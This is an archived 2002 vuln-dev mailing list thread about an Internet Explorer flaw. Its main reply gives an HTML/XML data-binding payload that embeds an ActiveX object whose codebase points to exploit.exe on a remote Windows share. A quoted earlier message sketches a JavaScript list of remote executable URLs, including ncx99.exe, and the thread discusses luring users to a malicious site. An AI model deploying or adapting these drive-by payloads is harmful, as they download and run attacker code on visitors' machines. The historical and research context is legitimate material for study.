

## RE: Rather large MSIE-hole

**Source:** <http://www.derkeiler.com/Mailing-Lists/securityfocus/vuln-dev/2002-03/0194.html>

---

**From:** John Swensson ([jswensson@integres.com](mailto:jswensson@integres.com))

**Date:** 03/15/02

Date: Thu, 14 Mar 2002 16:23:55 -0800  
From: "John Swensson" <[jswensson@integres.com](mailto:jswensson@integres.com)>  
To: "KF" <[dotslash@snoosoft.com](mailto:dotslash@snoosoft.com)>, <[vuln-dev@security-focus.com](mailto:vuln-dev@security-focus.com)>

well if activex is enabled,

doing this with a available readable by everyone windows share works

```
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
  <security>
    <exploit>
      <![CDATA[
        <object id="oFile"
classid="clsid:11111111-1111-1111-1111-111111111111"
codebase="//xxx.xxx.xxx.xxx/share/exploit.exe"></object>
      ]]>
    </exploit>
  </security>
</xml>
```

-john

[jswensson@integres.com](mailto:jswensson@integres.com)

>-----Original Message-----

>From: KF [<mailto:dotslash@snoosoft.com>]

>Sent: Thursday, March 14, 2002 2:48 PM

>To: [vuln-dev@security-focus.com](mailto:vuln-dev@security-focus.com)

>Subject: Re: Rather large MSIE-hole

>

>

>Another thought... will this bug run an executable from a web page? If  
>so you could just make your own binary to do whatever you wanted. Like  
><http://mysiteathome.com/malware.exe> or something along those lines. I  
>would HOPE that it asks to save the file to disk or even better ignore  
>it all together. Maybe try something like:

>

```
>var programName=new Array(  
> 'http://mysiteathome.com/ncx99.exe',
```

SecurityFocus Vuln-Dev: RE: Rather large MSIE-hole

> ['http://someothersite.com/ncx99.exe'](http://someothersite.com/ncx99.exe),  
>);  
>  
>  
>*I would do this myself but I don't have any windows boxen to test.*  
>-KF  
>  
>  
>  
>*Paul D. Campbell wrote:*  
>  
>>>*Could you not create a batch file that housed the commands you wanted*  
>>>*to run*  
>>>*(with args) and just run the batch file?*  
>>>*I apologise if someone has already addressed this.*  
>>>  
>>>-Eric  
>>>  
>>  
>>*You would probably be able to do this. However, you would first need*  
>>*to place the batch file on the target machine. Then you would have to*  
>>*sit around and hope the user visits your malicious site. Though, if*  
>>*you have the capability to write to someone's harddrive you could do*  
>>*something much nastier than this :)*  
>>  
>>*Paul*  
>>  
>>  
>  
>  
>  
>  
>

- 
- **Previous message:** [Slow2Show: "Re: Rather large MSIE-hole"](#)
  - **Maybe in reply to:** [Magnus Bodin: "Rather large MSIE-hole"](#)
  - **Next in thread:** [NoCoNFLiC: "Re: Rather large MSIE-hole"](#)
  - **Next in thread:** [The Blueberry: "Re: Rather large MSIE-hole"](#)
  - **Reply:** [NoCoNFLiC: "Re: Rather large MSIE-hole"](#)
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)